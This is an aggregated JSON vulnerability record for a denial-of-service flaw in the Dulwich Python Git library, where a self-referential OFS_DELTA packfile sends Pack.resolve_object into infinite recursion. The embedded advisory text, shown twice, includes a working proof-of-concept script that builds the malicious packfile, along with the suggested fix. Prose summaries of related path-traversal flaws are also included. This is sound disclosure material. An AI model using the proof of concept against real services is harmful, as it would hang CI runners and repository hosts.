{"id":"CVE-2026-114095","aliases":["AZL-109893","CLSA-2026-1791266024","DEBIAN-CVE-2026-114095","EUVD-2026-106898","GHSA-35mr-4567-66vg","GHSA-5fqc-mrg8-w798","GHSA-8w8g-wq8h-fq33","GHSA-cm62-gvxx-vmxx","GHSA-r78r-wr5r-rqfm","MGASA-2026-0589","UBUNTU-CVE-2026-114095"],"status":"published","title":"Dulwich before 1.2.9 Infinite Loop DoS via Pack.resolve_object","description":"Dulwich before 1.2.9 contains a denial of service vulnerability in Pack.resolve_object that allows attackers to cause infinite recursion via self-referential OFS_DELTA objects. Attackers can supply a malicious packfile with an OFS_DELTA delta_offset of 0 to exhaust CPU during clone, fetch, or cat-file operations.","severity":{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00311,"percentile":0.24246,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-835"],"published":"2026-10-02T18:54:39Z","modified":"2026-11-10T16:58:15Z","fixes":[{"ecosystem":"PyPI","package":"dulwich","fixed_in":["1.2.9"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"dulwich","fixed_in":["1.2.11-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.2.9"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.21.7-6"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.25.2"},{"fixed":"0.25.2.post7+tuxcare"}]}],"versions":["0.25.2","0.25.2.post1+tuxcare","0.25.2.post2+tuxcare","0.25.2.post3+tuxcare","0.25.2.post4+tuxcare","0.25.2.post5+tuxcare","0.25.2.post6+tuxcare"],"bundled":4},{"source":"osv","ecosystem":"Debian:12","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.21.2-1","0.21.5-1","0.21.6-1","0.22.5-1","0.22.7-1","0.22.7-2","0.24.10-1","0.24.2-1","0.24.2-2","1.0.0-1","1.0.0-2","1.1.0-1","1.1.0-2","1.1.0-3","1.2.0-1","1.2.1-1","1.2.11-1","1.2.12-1","1.2.17-1","1.2.5-1","1.2.7-1","1.2.7-2"]},{"source":"osv","ecosystem":"Debian:13","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.22.7-1","0.22.7-2","0.24.10-1","0.24.2-1","0.24.2-2","1.0.0-1","1.0.0-2","1.1.0-1","1.1.0-2","1.1.0-3","1.2.0-1","1.2.1-1","1.2.11-1","1.2.12-1","1.2.17-1","1.2.5-1","1.2.7-1","1.2.7-2"]},{"source":"osv","ecosystem":"Debian:14","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.2.11-1"}]}],"versions":["0.22.7-1","0.22.7-2","0.24.10-1","0.24.2-1","0.24.2-2","1.0.0-1","1.0.0-2","1.1.0-1","1.1.0-2","1.1.0-3","1.2.0-1","1.2.1-1","1.2.5-1","1.2.7-1","1.2.7-2"]},{"source":"osv","ecosystem":"PyPI","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.2.9"}]}],"versions":["0.0.1","0.1.0","0.1.1","0.10.0","0.10.1a","0.11.0","0.11.1","0.11.2","0.12.0","0.13.0","0.14.0","0.14.1","0.15.0","0.16.0","0.16.1","0.16.2","0.16.3","0.17.1","0.17.2","0.17.3","0.18.0","0.18.1","0.18.2","0.18.3","0.18.4","0.18.5","0.18.6","0.19.0","0.19.1","0.19.10","0.19.11","0.19.12","0.19.13","0.19.14","0.19.15","0.19.16","0.19.2","0.19.3","0.19.3a0","0.19.4","0.19.5","0.19.6","0.19.7","0.19.8","0.19.9","0.2.1","0.20.0","0.20.1","0.20.10","0.20.11","0.20.12","0.20.13","0.20.14","0.20.15","0.20.17","0.20.18","0.20.19","0.20.2","0.20.20","0.20.21","0.20.22","0.20.23","0.20.24","0.20.25","0.20.26","0.20.27","0.20.28","0.20.29","0.20.3","0.20.30","0.20.31","0.20.32","0.20.33","0.20.34","0.20.35","0.20.36","0.20.37","0.20.38","0.20.39","0.20.4","0.20.40","0.20.41","0.20.42","0.20.43","0.20.44","0.20.45","0.20.46","0.20.47","0.20.48","0.20.49","0.20.5","0.20.50","0.20.6","0.20.7","0.20.8","0.20.9","0.21.0","0.21.1","0.21.2","0.21.3","0.21.4","0.21.4.1","0.21.5","0.21.6","0.21.7","0.22.0","0.22.1","0.22.3","0.22.4","0.22.5","0.22.6","0.22.7","0.22.8","0.23.0","0.23.1","0.23.2","0.24.0","0.24.1","0.24.10","0.24.2","0.24.3","0.24.4","0.24.5","0.24.6","0.24.7","0.24.8","0.24.9","0.25.0","0.25.1","0.25.2","0.3.0","0.3.1","0.3.2","0.3.3","0.4.0","0.4.1","0.5.0","0.6.0","0.6.1","0.6.2","0.7.0","0.7.1","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.0","1.1.0","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.2.7","1.2.8"]},{"source":"osv","ecosystem":"Mageia:10","package":"python-dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.2.21-1.1.mga10"}]}],"bundled":7},{"source":"osv","ecosystem":"Mageia:10","package":"rust-similar3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.1-1.mga10"}]}],"bundled":7},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.11.2-1ubuntu1","0.12.0-1","0.12.0-1build1","0.12.0-1build2"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.18.2-1build1","0.18.5-1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.19.11-2","0.19.14-4ubuntu1","0.19.15-1","0.19.15-1build1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.20.15-1ubuntu1","0.20.31-1ubuntu1","0.20.31-1.1","0.20.31-1.1build1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.21.6-1","0.21.6-1build1","0.21.6-1build2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.22.7-1","0.24.2-2","1.1.0-2ubuntu1","1.1.0-3"]}],"products":[{"vendor":"jelmer","product":"dulwich"}],"references":[{"url":"https://github.com/jelmer/dulwich/security/advisories/GHSA-35mr-4567-66vg","tags":["vendor-advisory","advisory","web","report"]},{"url":"https://www.vulncheck.com/advisories/dulwich-before-1.2.9-infinite-loop-dos-via-pack-resolve-object","tags":["third-party-advisory","advisory"]},{"url":"https://github.com/jelmer/dulwich/commit/d06ffc3e1aff0ea0a32094debead891be0083eb7","tags":["web"]},{"url":"https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.9","tags":["web"]},{"url":"https://github.com/advisories/GHSA-35mr-4567-66vg"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114095","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-r78r-wr5r-rqfm"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/114xxx/CVE-2026-114095.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-114095","tags":["advisory"]},{"url":"https://github.com/jelmer/dulwich","tags":["package"]},{"url":"https://advisories.mageia.org/MGASA-2026-0589.html","tags":["advisory"]},{"url":"https://bugs.mageia.org/show_bug.cgi?id=35907","tags":["report"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YORLARHG3RTPSDHI7QFLTZNL67NVZCN7/","tags":["web"]},{"url":"https://github.com/jelmer/dulwich/security/advisories/GHSA-555p-6grf-mh7f","tags":["advisory"]},{"url":"https://github.com/jelmer/dulwich/security/advisories/GHSA-xrvj-v92f-53gj","tags":["advisory"]},{"url":"https://github.com/jelmer/dulwich/security/advisories/GHSA-cm62-gvxx-vmxx","tags":["advisory"]},{"url":"https://github.com/jelmer/dulwich/security/advisories/GHSA-5fqc-mrg8-w798","tags":["advisory"]},{"url":"https://github.com/jelmer/dulwich/security/advisories/GHSA-8mcx-5rqc-vhmf","tags":["advisory"]},{"url":"https://github.com/jelmer/dulwich/security/advisories/GHSA-8w8g-wq8h-fq33","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-114095","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-114095","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-114095","title":"Dulwich before 1.2.9 Infinite Loop DoS via Pack.resolve_object","description":"Dulwich before 1.2.9 contains a denial of service vulnerability in Pack.resolve_object that allows attackers to cause infinite recursion via self-referential OFS_DELTA objects. Attackers can supply a malicious packfile with an OFS_DELTA delta_offset of 0 to exhaust CPU during clone, fetch, or cat-file operations.","status":"published","published":"2026-10-21T00:36:59.083Z","modified":"2026-10-21T15:49:44.928Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium","assessor":"cna"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T13:39:50.160666Z"}],"euvd":[{"id":"EUVD-2026-106898","description":"Dulwich before 1.2.9 contains a denial of service vulnerability in Pack.resolve_object that allows attackers to cause infinite recursion via self-referential OFS_DELTA objects. Attackers can supply a malicious packfile with an OFS_DELTA delta_offset of 0 to exhaust CPU during clone, fetch, or cat-file operations.","status":"published","published":"2026-10-21T00:36:59Z","modified":"2026-10-21T15:49:44Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:59:36.721365Z"}],"ghsa":[{"id":"GHSA-35mr-4567-66vg","title":"Dulwich: Infinite Loop Denial of Service (DoS) in Packfile Object Resolution","description":"### Affected file\n* `dulwich/pack.py` (Method: `Pack.resolve_object`)\n\n### Description / Summary\nA High-severity Denial of Service (DoS) vulnerability exists in the `Pack.resolve_object` method. When resolving an `OFS_DELTA` object, the resolver calculates the base offset using `base_offset = obj_offset - delta_offset`.\n\nIf a malicious packfile contains an `OFS_DELTA` object where `delta_offset` is `0`, the calculation `obj_offset - 0` resolves back to the current object's own offset. Because the implementation lacks a depth counter, a \"visited\" set, or an explicit rejection of `delta_offset == 0`, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process.\n\n**Vulnerable Code Breakdown (`dulwich/pack.py`):**\n```python\nelif obj_type == OFS_DELTA:\n    delta_offset = parse_pack_object_offset_at(...)\n    base_offset = obj_offset - delta_offset          # VULNERABILITY: Self-reference if delta_offset == 0\n    base_type, base_data = self.resolve_object(...)  # VULNERABILITY: Infinite recursion\n```\n\n### Potential impact\n\nAn attacker can trigger this infinite loop via any operation that walks packfiles (e.g., `dulwich clone`, `fetch`, `cat-file`, or internal `Pack.__getitem__` lookups). \n\n1. **CPU Exhaustion:** The process will spin at 100% CPU indefinitely.\n2. **Denial of Service:** Any service using `dulwich` (web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access.\n3. **Protocol Incompatibility:** This behavior violates the Git packfile specification. The standard `git` C client explicitly guards against this: `if (!base_offset) die(\"delta offset == 0 is invalid\");`.\n\n### POC (Proof of Concept)\nThe following Python script generates a 44-byte packfile that triggers the loop:\n\n```python\nfrom dulwich.pack import Pack\nimport struct, zlib, tempfile, os\n\n# Build a single OFS_DELTA entry whose delta_offset is 0\ntype_ofs_delta = 6\nheader = bytes([(type_ofs_delta \u003c\u003c 4) | 0])\nofs_bytes = bytes([0x00]) # delta_offset = 0\nbody = zlib.compress(b'')\nraw = header + ofs_bytes + body\n\npack = b'PACK' + struct.pack('\u003eI', 2) + struct.pack('\u003eI', 1) + raw + (b'\\x00' * 20)\n\nfd, path = tempfile.mkstemp(suffix='.pack')\nos.write(fd, pack); os.close(fd)\n\n# Trigger: This call never returns and spins at 100% CPU\np = Pack(path)\nobj = p[list(p.iterobjects())[0]]\n```\n\n### Possible solution\n1. **Explicit Guard:** Add a check in `Pack.resolve_object` to reject `delta_offset == 0`:\n   ```python\n   if delta_offset == 0:\n       raise CorruptPacksFile(\"OFS_DELTA has self-referential delta_offset=0\")\n   ```\n2. **Recursion Depth:** Implement a depth limit (e.g., `MAX_DELTA_DEPTH = 50`) to prevent long, non-looping chains of deltas (OFS or REF).","status":"published","published":"2026-10-02T18:54:39Z","modified":"2026-10-02T18:54:40Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T14:41:24.739884Z"},{"id":"GHSA-r78r-wr5r-rqfm","title":"Dulwich before 1.2.9 contains a denial of service vulnerability in Pack.resolve_object that...","description":"Dulwich before 1.2.9 contains a denial of service vulnerability in Pack.resolve_object that allows attackers to cause infinite recursion via self-referential OFS_DELTA objects. Attackers can supply a malicious packfile with an OFS_DELTA delta_offset of 0 to exhaust CPU during clone, fetch, or cat-file operations.","status":"published","published":"2026-10-21T03:32:26Z","modified":"2026-10-21T03:32:26Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T15:14:08.480034Z"}],"nvd":[{"id":"CVE-2026-114095","description":"Dulwich before 1.2.9 contains a denial of service vulnerability in Pack.resolve_object that allows attackers to cause infinite recursion via self-referential OFS_DELTA objects. Attackers can supply a malicious packfile with an OFS_DELTA delta_offset of 0 to exhaust CPU during clone, fetch, or cat-file operations.","status":"published","published":"2026-10-21T01:17:34.763Z","modified":"2026-10-21T16:17:30.937Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium","assessor":"secondary"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T14:13:02.045979Z"}],"osv":[{"id":"CVE-2026-114095","title":"Dulwich before 1.2.9 Infinite Loop DoS via Pack.resolve_object","description":"Dulwich before 1.2.9 contains a denial of service vulnerability in Pack.resolve_object that allows attackers to cause infinite recursion via self-referential OFS_DELTA objects. Attackers can supply a malicious packfile with an OFS_DELTA delta_offset of 0 to exhaust CPU during clone, fetch, or cat-file operations.","status":"published","published":"2026-10-21T00:36:59.083Z","modified":"2026-10-28T02:30:43.166407864Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T15:44:56.310988Z"},{"id":"DEBIAN-CVE-2026-114095","description":"Dulwich before 1.2.9 contains a denial of service vulnerability in Pack.resolve_object that allows attackers to cause infinite recursion via self-referential OFS_DELTA objects. Attackers can supply a malicious packfile with an OFS_DELTA delta_offset of 0 to exhaust CPU during clone, fetch, or cat-file operations.","status":"published","published":"2026-10-21T01:17:34.763Z","modified":"2026-10-23T18:05:35.097425882Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:45:50.923612Z"},{"id":"GHSA-35mr-4567-66vg","title":"Dulwich: Infinite Loop Denial of Service (DoS) in Packfile Object Resolution","description":"### Affected file\n* `dulwich/pack.py` (Method: `Pack.resolve_object`)\n\n### Description / Summary\nA High-severity Denial of Service (DoS) vulnerability exists in the `Pack.resolve_object` method. When resolving an `OFS_DELTA` object, the resolver calculates the base offset using `base_offset = obj_offset - delta_offset`.\n\nIf a malicious packfile contains an `OFS_DELTA` object where `delta_offset` is `0`, the calculation `obj_offset - 0` resolves back to the current object's own offset. Because the implementation lacks a depth counter, a \"visited\" set, or an explicit rejection of `delta_offset == 0`, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process.\n\n**Vulnerable Code Breakdown (`dulwich/pack.py`):**\n```python\nelif obj_type == OFS_DELTA:\n    delta_offset = parse_pack_object_offset_at(...)\n    base_offset = obj_offset - delta_offset          # VULNERABILITY: Self-reference if delta_offset == 0\n    base_type, base_data = self.resolve_object(...)  # VULNERABILITY: Infinite recursion\n```\n\n### Potential impact\n\nAn attacker can trigger this infinite loop via any operation that walks packfiles (e.g., `dulwich clone`, `fetch`, `cat-file`, or internal `Pack.__getitem__` lookups). \n\n1. **CPU Exhaustion:** The process will spin at 100% CPU indefinitely.\n2. **Denial of Service:** Any service using `dulwich` (web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access.\n3. **Protocol Incompatibility:** This behavior violates the Git packfile specification. The standard `git` C client explicitly guards against this: `if (!base_offset) die(\"delta offset == 0 is invalid\");`.\n\n### POC (Proof of Concept)\nThe following Python script generates a 44-byte packfile that triggers the loop:\n\n```python\nfrom dulwich.pack import Pack\nimport struct, zlib, tempfile, os\n\n# Build a single OFS_DELTA entry whose delta_offset is 0\ntype_ofs_delta = 6\nheader = bytes([(type_ofs_delta \u003c\u003c 4) | 0])\nofs_bytes = bytes([0x00]) # delta_offset = 0\nbody = zlib.compress(b'')\nraw = header + ofs_bytes + body\n\npack = b'PACK' + struct.pack('\u003eI', 2) + struct.pack('\u003eI', 1) + raw + (b'\\x00' * 20)\n\nfd, path = tempfile.mkstemp(suffix='.pack')\nos.write(fd, pack); os.close(fd)\n\n# Trigger: This call never returns and spins at 100% CPU\np = Pack(path)\nobj = p[list(p.iterobjects())[0]]\n```\n\n### Possible solution\n1. **Explicit Guard:** Add a check in `Pack.resolve_object` to reject `delta_offset == 0`:\n   ```python\n   if delta_offset == 0:\n       raise CorruptPacksFile(\"OFS_DELTA has self-referential delta_offset=0\")\n   ```\n2. **Recursion Depth:** Implement a depth limit (e.g., `MAX_DELTA_DEPTH = 50`) to prevent long, non-looping chains of deltas (OFS or REF).","status":"published","published":"2026-10-02T18:54:39Z","modified":"2026-10-21T10:57:26.261763776Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T15:46:35.050232Z"},{"id":"UBUNTU-CVE-2026-114095","description":"Dulwich before 1.2.9 contains a denial of service vulnerability in Pack.resolve_object that allows attackers to cause infinite recursion via self-referential OFS_DELTA objects. Attackers can supply a malicious packfile with an OFS_DELTA delta_offset of 0 to exhaust CPU during clone, fetch, or cat-file operations.","status":"published","published":"2026-10-21T01:17:00Z","modified":"2026-10-28T20:17:45.337065125Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium"},{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:55:59.591851Z"},{"id":"AZL-109893","title":"CVE-2026-114095 affecting package python-dulwich 0.21.7-6","description":"Dulwich before 1.2.9 contains a denial of service vulnerability in Pack.resolve_object that allows attackers to cause infinite recursion via self-referential OFS_DELTA objects. Attackers can supply a malicious packfile with an OFS_DELTA delta_offset of 0 to exhaust CPU during clone, fetch, or cat-file operations.","status":"published","published":"2026-10-21T01:17:34Z","modified":"2026-11-05T05:36:30Z","updated_at":"2026-11-05T16:41:18.42484Z"},{"id":"CLSA-2026-1791266024","title":"TuxCare security update for dulwich (8 CVEs)","description":"TuxCare rebuilt dulwich to address 8 CVEs. Fixed in 0.25.2.post7+tuxcare.","status":"published","published":"2026-10-06T05:53:44Z","modified":"2026-10-27T13:43:11.943518922Z","updated_at":"2026-11-02T15:43:49.016976Z"},{"id":"MGASA-2026-0589","title":"Updated python-dulwich \u0026 rust-similar3 packages fixes security vulnerabilities","description":"Commit subjects not sanitized in ``porcelain.format_patch``\nUnbounded memory allocation in receive-pack from crafted thin packs\nDulwich from 0.22.5 before 1.2.8 contains a path traversal vulnerability\nin stash.py pop() that allows attackers to write arbitrary files outside\nthe worktree through intermediate directory symlinks. Attackers can\ncraft a malicious repository whose popped stash writes a payload into\n.git/hooks/post-checkout, achieving code execution on the next checkout.\nDulwich from 0.23.1 before 1.2.8 contains a path traversal vulnerability\nin CommitFilter._apply_index_filter() that allows attackers to write\nfiles outside the working directory via symlinks persisting between\ncommits. Attackers can craft a repository where an ancestor commit's\nsymlink redirects a descendant commit's file writes during\nfilter_branch, enabling code execution by writing into .git/hooks.\nDulwich before 1.2.9 contains a denial of service vulnerability in\nPack.resolve_object that allows attackers to cause infinite recursion\nvia self-referential OFS_DELTA objects. Attackers can supply a malicious\npackfile with an OFS_DELTA delta_offset of 0 to exhaust CPU during\nclone, fetch, or cat-file operations.\nDulwich before 1.2.9 fails to validate DOS drive letter prefixes in Git\ntree path elements on Windows, allowing arbitrary file write. Attackers\ncan craft a malicious repository with a tree entry named 'C:' that\nbypasses NTFS validation and writes files outside the worktree to\nachieve remote code execution.\nDulwich from 0.24.0 before 1.2.8 contains a symlink following\nvulnerability in porcelain.checkout(paths=[...]) that allows attackers\nto write arbitrary files by abusing raw os.open without O_NOFOLLOW.\nAttackers can craft a repository where a worktree symlink points to\n.git/hooks/post-checkout, so restoring the file from a tag writes a\nmalicious hook for code execution.\n","status":"published","published":"2026-11-10T16:31:41Z","modified":"2026-11-10T16:58:15.079951964Z","updated_at":"2026-11-10T17:04:13.670671Z"}]}}